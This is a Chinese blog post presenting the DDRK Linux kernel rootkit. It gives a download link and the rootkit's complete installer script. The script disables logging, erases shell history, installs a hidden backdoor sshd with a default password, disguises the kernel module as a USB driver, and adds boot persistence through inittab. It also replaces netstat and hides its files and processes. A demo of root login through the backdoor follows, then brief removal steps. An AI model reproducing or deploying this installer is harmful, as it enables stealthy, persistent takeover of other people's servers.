Linux下rootkit-ddrk攻击获得root权限以及清除方法

最新推荐文章于 2024-08-13 10:00:00 发布
最新推荐文章于 2024-08-13 10:00:00 发布
阅读量5.7k 收藏 3
点赞数
分类专栏： 网络安全

DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。

DDRK中包含的文件：

netstat  #替换系统中的netstat，从ssh配置文件中读取端口并隐藏

rk.ko  #内核模块，实现文件和进程的隐藏功能

setup  #rootkit安装文件

tty  #ava工具

bin.tgz

         ---ttymon

         ---sshd.tgz

                   ---.sh

                            ---shdcf2  #sshd配置文件

                            ---shhk

                            ---shhk.pub

                            ---shrs

                            ---sshd  #sshd主程序

DDRK下载地址：http://pan.baidu.com/s/1qWkchlU

因此只要把这些文件上传到服务器上并成功运行，就可以获得该服务器的root权限。为所欲为，无所不能。

 

setup内容如下：

#!/bin/bash
##########define variables##########
DEFPASS=123456    //默认密码
DEFPORT=43958    //默认端口
BASEDIR=`pwd`
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
##########check is root##########

if [ "$(whoami)" != "root" ]; then

   echo "BECOME ROOT AND TRY AGAIN"
   echo ""
  exit
fi
##########extract all tar##########
tar zxf bin.tgz
cd bin
tar zxf sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz
cd $BASEDIR
##########kill syslogd##########
killall -9 syslogd >/dev/null 2>&1
sleep 2
##########remove sh.conf##########
if [ -f /etc/sh.conf ]; then
  rm -rf /etc/sh.conf         //经过md5sum加密过的密码文件
fi
##########initialize sshd configuration##########
if test -n "$1" ; then
   echo "Using Password : $1"
   cd $BASEDIR/bin
   echo -n $1|md5sum > /etc/sh.conf
else
   echo "No Password Specified, using default - $DEFPASS"
   echo -n $DEFPASS|md5sum > /etc/sh.conf

fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
if test -n "$2" ; then
   echo "Using ssh-port : $2"
   echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
   echo "No ssh-port Specified, using default - $DEFPORT"
   echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
   cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
   mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
###########creating dirs##########
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then
   rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then

   rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR
cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR
if [ -f /sbin/ttyload ]; then
   chattr -AacdisSu /sbin/ttyload
   rm -rf /sbin/ttyload
fi
if [ -f /usr/sbin/ttyload ]; then
   rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then

   rm -rf /sbin/ttymon

fi

 

mv $SSHDIR/sshd /sbin/ttyload

chmod a+xr /sbin/ttyload

chmod o-w /sbin/ttyload

touch -acmr /bin/ls /sbin/ttyload

kill -9 `pidof ttyload` >/dev/null 2>&1

 

mv $BASEDIR/bin/ttymon /sbin/ttymon

chmod a+xr /sbin/ttymon

touch -acmr /bin/ls /sbin/ttymon

kill -9 `pidof ttymon` >/dev/null 2>&1

 

cp /bin/bash $SSHDIR
#########modify inittab##########
cp /etc/inittab /etc/.inittab
sed -e s@^1:2345@0:2345:once:/usr/sbin/ttyload &@ /etc/inittab > /etc/.inittab
touch -acmr /etc/inittab /etc/.inittab
mv -f /etc/.inittab /etc/inittab
echo "/sbin/ttyload -q > /dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttyload` > /dev/null 2>&1" >> /usr/sbin/ttyload
echo "${HOMEDIR}/tty i `pidof ttymon` > /dev/null 2>&1" >> /usr/sbin/ttyload
touch -acmr /bin/ls /usr/sbin/ttyload
chmod 755 /usr/sbin/ttyload
/usr/sbin/ttyload > /dev/null 2>&1
touch -amcr /bin/ls /etc/inittab
##########make sure inittab has modified##########
if [ ! "`grep ttyload /etc/inittab`" ]; then
   echo "# WARNING - SSHD WONT BE RELOADED UPON RESTART "
   echo "# inittab shuffling probly fucked-up ! "
fi
##########load rk.ko##########
cd $BASEDIR
modprobe -r ehci-hcd
mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
modprobe ehci-hcd
mv tty $HOMEDIR
##########replace netstat##########
touch -acmr /bin/netstat netstat
mv -f netstat /bin/netstat
##########hide all files and process##########
$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1
$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1
$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1
$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1
$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1
##########load rk.ko on boot##########
cat > /etc/sysconfig/modules/ehci.modules << EOF
#!/bin/sh
#install usb modules support
modprobe -r ehci-hcd
modprobe ehci-hcd
EOF
touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules
chmod 755 /etc/sysconfig/modules/ehci.modules
$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1
##########check iptables setting##########
if [ -f /sbin/iptables ]; then
   echo "`/sbin/iptables -L INPUT | head -5`"
else
   echo ""
   echo "# lucky for u no iptables found"
fi
##########start syslogd##########
/sbin/syslogd -m 0
 <span style="font-family: 宋体; text-indent: 2em; background-color: rgb(255, 255, 255);"> </span>

# ./setup 123 3333    //设置密码为123，端口号为3333

Using Password : 123

Using ssh-port : 3333

Chain INPUT (policy ACCEPT)

target     prot opt source               destination

 

隐藏效果查看：

查看进程

# ps -ef | egrep -i "ttyload|ttymon"

root     24761 17990  0 13:29 pts/2    00:00:00 egrep -i ttyload|ttymon

 

查看端口

# netstat -ntplu

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name

tcp        0      0 127.0.0.1:2208              0.0.0.0:*                   LISTEN      2117/hpiod

-                   tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      2267/mysqld

tcp        0      0 0.0.0.0:43958               0.0.0.0:*                   LISTEN      -

tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2134/cupsd

tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2295/sendmail: acce

tcp        0      0 127.0.0.1:2207              0.0.0.0:*                   LISTEN      2122/python

udp        0      0 0.0.0.0:32768           0.0.0.0:*                           2417/avahi-daemon:

udp        0      0 0.0.0.0:68              0.0.0.0:*                           19752/dhclient

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           2417/avahi-daemon:

udp        0      0 0.0.0.0:631             0.0.0.0:*                           2134/cupsd

 

查看加载模块

# lsmod | grep -i ehci-hcd

 

查看rootkit相关文件

# ls -dl /lib/libsh.so  /usr/lib/libsh  /etc/sh.conf  /sbin/ttyload  /sbin/ttymon    /bin/ttymon /usr/sbin/ttyload

ls: /bin/ttymon: No such file or directory

-rw-r--r-- 1 2618748389 4063569279     36 Nov 28  2006 /etc/sh.conf

drwxr-xr-x 2 2618748389 4063569279   4096 May 11 13:28 /lib/libsh.so

-rwxr-xr-x 1 2618748389 4063569279 212747 Nov 28  2006 /sbin/ttyload

-rwxrwxr-x 1 2618748389 4063569279  93476 Nov 28  2006 /sbin/ttymon

drwxr-xr-x 2 2618748389 4063569279   4096 May 11 13:28 /usr/lib/libsh

-rwxr-xr-x 1 2618748389 4063569279    171 Nov 28  2006 /usr/sbin/ttyload

 

查看/etc/inittab文件

# Run gettys in standard runlevels

0:2345:once:/usr/sbin/ttyload

1:2345:respawn:/sbin/mingetty tty1

2:2345:respawn:/sbin/mingetty tty2

3:2345:respawn:/sbin/mingetty tty3

4:2345:respawn:/sbin/mingetty tty4

5:2345:respawn:/sbin/mingetty tty5

6:2345:respawn:/sbin/mingetty tty6

 

验证：

已攻破并成功执行的主机IP为：192.168.27.129

从另一台登录192.168.27.129，密码为123，端口号为3333

[root@localhost ~]# ssh 192.168.27.129 -p 3333

root@192.168.27.129s password:

Last login: Thu Nov 11 11:20:59 2010 from 192.168.27.1

[sh]  w.e.l.c.o.m.e

[sh]  To The DoDos Rootkit

[root@DoDo:/root]# 

[root@DoDo:/root]# env

TERM=xterm

SHELL=/bin/bash

SSH_CLIENT=192.168.27.130 38824 3333

SSH_TTY=/dev/pts/3

USER=root

LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:

mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.

csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:

*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp

=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

MAIL=/var/spool/mail/root

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:/usr/local/sbin:/usr/lib/libs:.

PWD=/root

MACHINE=DoDo

PS1=[33[0;36m][$ID@[33[1;37m]$MACHINE[33[0m][33[0;36m]:${PWD}]#[33[0m]

SHLVL=1

HOME=/usr/lib/libsh

ID=root

LOGNAME=root

_=/bin/env

 

至此，就可以完全控制192.168.27.129了。

 

到192.168.27.129上查看登录用户：

# w

 13:40:55 up  3:40,  0 users,  load average: 1.23, 0.93, 0.77

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT

只有本地用户。

 

 

清除方法：

# cd /usr/lib/libsh

# modprobe -r ehci-hcd

# ./tty u /etc/sysconfig/modules/ehci.modules

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

# rm -rf /etc/sysconfig/modules/ehci.modules

# rm -rf /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko

 # ./tty u /etc/sh.conf

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

#  ./tty u /lib/libsh.so

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

#  ./tty u /sbin/ttyload

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

# ./tty u /usr/sbin/ttyload

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

#  ./tty u /sbin/ttymon

Checking for adore  0.12 or higher ...

Failed to authorize myself. No luck, no adore?

Adore NOT installed. Exiting.

# rm -rf /etc/sh.conf /lib/libsh.so /usr/lib/libsh /sbin/ttyload /usr/sbin/ttyload /sbin/ttymon

# rm –rf /bin/netstat

# vim /etc/inittab 去掉0:2345:once:/usr/sbin/ttyload

其实，还应该检查系统漏洞在何处，以绝后患。

寒江雪语
关注
专栏目录
ddrk-rootkit
10-04
Rootkit是一种奇特的程序，它具有隐身功能：无论静止时（作为文件存在），还是活动时，（作为进程存在），都不会被察觉。换句话说，这种程序可能一直存在于我们的计算机中，但我们却浑然不知，这一功能正是许多人梦寐以求的——不论是计算机黑客，还是计算机取证人员。黑客可以在入侵后置入Rootkit，秘密地窥探敏感信息，或等待时机，伺机而动；取证人员也可以利用Rootkit实时监控嫌疑人员的不法行为，它不仅能搜集证据，还有利于及时采取行动。而本文的目的，就是同读者一起踏上Windows内核级Rootkit之旅！
Rootkit清除工具
唯一谣|Airs|走尽天涯路|极地阳光
10-21 1207
Rootkit就像是一件隐身的斗篷，可以隐藏计算机中应用程序的软件。Rootkit悄悄地把自己安装在用户的计算机中，隐藏自己的进程、文件、 网络通 讯和其它可能暴露自己的信息。Rootkit一般隐藏能够让黑客可以轻松找回被控制计算机的工具。Rootkit不易被发现，由于没有任何一家厂商能够可 靠地检测所有的Rootkit，因此建议最好使用多种免费的Rootkit检测工具。　　杀毒软件公司Sopho
Linux rootkit 深度分析 – 第 2 部分：可加载内核模块
最新发布
分享web安全、AI安全、云安全、业务安全、渗透测试、安全开发、安全工具、行业动态等优质内容……
08-13 966
在本系列的上一部分中，我们介绍了LD_PRELOAD用户空间 rootkit。我们了解了这些 rootkit 的工作原理，并提供了在操作系统上检测它们的最佳实践。
ddrk rootkit
05-08
ddrk(DoDo's Rootkit)是一个Linux结合shv和adore-ng优点的，内核级rootkit 文件列表 netstat #替换系统的netstat，从ssh配置文件中读取端口，并隐藏 rk.ko #adore-ng编译后的内核模块，实现文件，进程隐藏功能 setup #rootkit安装主文件 tty #adore-ng带的ava工具 bin.tgz ---ttymon ---sshd.tgz ---sshd #sshd主程序 ---shdcf2 #sshd配置文件
linux中rookit的类型,Linux下rootkit-ddrk
weixin_42347465的博客
05-14 1006
ddrk(DoDo's Rootkit)是一个Linux结合shv和adore-ng优点的，内核级rootkit文件列表netstat #替换系统的netstat，从ssh配置文件中读取端口，并隐藏rk.ko #adore-ng编译后的内核模块，实现文件，进程隐藏功能setup #rootkit安装主文件tty #adore-ng带的ava工...
linux rootkit解决
weixin_33862041的博客
05-26 212
2019独角兽企业重金招聘Python工程师标准>>> ...
linux2.6.32下rootkit，仿照all_root
10-09
标题提到的"linux2.6.32下rootkit，仿照all_root"是指针对Linux内核版本2.6.32的一个Rootkit实现，这个实现是基于旧版的all_root工具进行修改，使其适应了新的内核版本。 all_root原本是为Linux 2.4内核设计的，而...
Linux rootkit detector-开源
07-17
在IT行业中，Linux系统因其稳定性、安全性以及开源特性而被广泛应用。然而，随着技术的发展，恶意软件和黑客攻击也日益复杂，其中rootkit就是一种极具威胁的工具。rootkit能够隐藏自身存在，甚至篡改系统核心功能，...
Linux系统下Rootkit检测方法探讨.pdf
09-06
Linux系统下Rootkit检测方法探讨.pdf
在Linux Kernels 2.6.x / 3.x / 4.x / 5.x中运行的LKM rootkit-C/C++开发
05-27
Brokepkg是Linux Kernels 2.6.x / 3.x / 4.x / 5.x和ARM64的LKM rootkit，在内核5.7之后支持，没有kallsyms_lookup_name。 BrokePkg Brokepkg是Linux Kernels 2.6.x / 3.x / 4.x / 5.x和ARM64的LKM rootkit，在内核...
Linux下rootkit病毒专杀工具,linux系统下检测rootkit工具
weixin_30705125的博客
05-04 9001
linux系统下检测rootkit工具发布时间:2014-03-21 22:08:41来源:红联作者:tioced本文主要介绍linux系统下检测rootkit的两种工具: Rootkit Hunter和Chkrootkit.Rootkit Hunter中文名叫”Rootkit猎手”, 可以发现大约58个已知的rootkits和一些嗅探器和后门程序. 它通过执行一系列的测试脚本来确认你的机器是否已...
brootkit, bash shell 脚本v0.10实现轻量级 rootkit.zip
10-10
brootkit, bash shell 脚本v0.10实现轻量级 rootkit 使用 bash shell 脚本v0.10实现的######BROOTKIT 轻量级 rootkitby wzt 2015 wzt.wzt@gmail.comIf bash shell scripts can be des
linux系统RootKit木马查杀
focus on security
06-07 1288
rootkit是一种恶意软件通常和木马等其他恶意程序一起结合使用，而Linux是其重要的攻击对象。 Rootkit木马的原理： 操作系统是由内核（kernel）和外壳（shell）两部分组成的，内核负责一切实际的工作，包括cpu任务调度、内存分配管理、设备管理、文件操作等，外壳是基于内核提供的交互功能而存在的界面，它负责指令传递和解释。由于内核和外壳负责的任务不同，它们的处理环境也不同，因此处理器提供了多个不同的处理环境，把它们称为运行级别（ring），ring让程序指令能访问的计算机资源依...
服务器被rootkit-ddrk***获得root权限的解决方案
weixin_34372728的博客
05-06 833
已经两天了，上次解决掉一次，不过只删除了程序， 应该是比较低级的root提权 具体提权和清除方法摘录某***网站 DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。 DDRK中包含的文件： netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏 rk.ko #内核模块，实现文件和进程的隐藏功能 set...
使用rkhunter检测Linux的rootkit
qq_40907977的博客
04-07 2622
转载来源 ：使用rkhunter检测Linux的rootkit ： https://www.jianshu.com/p/9a5fcd4b236b 介绍 rootkit是Linux平台下最常见的一种木马后门工具，它主要通过替换系统文件来达到入侵和和隐蔽的目的，这种木马比普通木马后门更加危险和隐蔽，普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强，对系统的危害很大，它通过一套工具来...
ddrk(ddrk)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
02-25 3225
这基于mc9s12xs128的 PORTK_PK4 DDRK_DDRK4这两个表示什么啊 最好能讲下这个简单程序 十分感谢！ 回答求助： 从代码看，PORTK_PK4和DDRK_DDRK4是两个变量，似乎可以控制CPU的某些功能(这是按代码中的语句猜的)。在你的代码中被#define LEDCPU PORTK_PK4和...
Linux下rootkit-ddrk***获得root权限以及清除方法
weixin_33963594的博客
05-11 238
DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。 DDRK中包含的文件： netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏 rk.ko #内核模块，实现文件和进程的隐藏功能 setup #rootkit安装文件 tty #ava工具 bin.tgz ---ttymo...
linux root ssh 安全,Linux下rootkit-ddrk攻击获得root权限及ssh后门
weixin_42512966的博客
05-12 1010
DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。DDRK中包含的文件：netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏rk.ko #内核模块，实现文件和进程的隐藏功能setup #rootkit安装文件tty #ava工具bin.tgz---ttymon---sshd.tgz---.sh---shdcf2 #sshd配置文...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值